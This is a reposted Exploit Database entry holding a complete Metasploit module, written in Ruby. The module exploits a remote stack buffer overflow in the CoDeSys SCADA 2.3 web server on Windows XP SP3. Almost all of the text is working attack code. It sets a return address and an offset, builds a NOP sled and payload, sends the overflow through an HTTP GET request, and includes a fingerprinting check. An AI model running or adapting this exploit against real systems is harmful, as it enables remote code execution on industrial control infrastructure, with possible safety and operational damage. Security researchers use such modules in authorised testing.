CoDeSys SCADA 2.3 – WebServer Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-12-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18240/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow',
  			'Description' => %q{
  				This module exploits a remote stack buffer overflow vulnerability in
  				3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
  			},
  			'License' => MSF_LICENSE,
  			'Author'=>
  				[
  					'Celil UNUVER', # Original discovery and exploit
  					'TecR0c', # Module Metasploit
  					'sinn3r'
  				],
  			'References'=>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
  					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
  				],
  			'DefaultOptions'=>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'false',
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform'=> 'win',
  			'Payload' =>
  				{
  					'size' => 4000,
  					'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e",
  				},
  
  			'Targets' =>
  				[
  					[
  						'Windows XP SP3',
  						{
  							'Ret'=> 0x7E4456F7,
  							'Offset' => 775
  						}
  					], # jmp esp user32
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Dec 02 2011',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(8080)], self.class)
  	end
  
  	def check
  		connect
  		sock.put("GET / HTTP/1.1\r\n\r\n")
  		res = sock.get(-1, 3)
  		disconnect
  
  		# Can't flag the web server as vulnerable, because it doesn't
  		# give us a version
  		vprint_line(res)
  		if res =~ /3S_WebServer/
  			return Exploit::CheckCode::Detected
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def exploit
  		connect
  
  		buffer =rand_text(target['Offset'])
  		buffer << [target.ret].pack('V')
  		buffer << make_nops(8)
  		buffer << payload.encoded
  
  		sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  		res = sock.recv(1024)
  		print_line(res)
  
  		handler
  		disconnect
  	end
  end
  
  =begin
  target.ret verified on:
  - Win XP SP3 unpatched
  - Win XP SP3 fully-patched
  - Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
  =end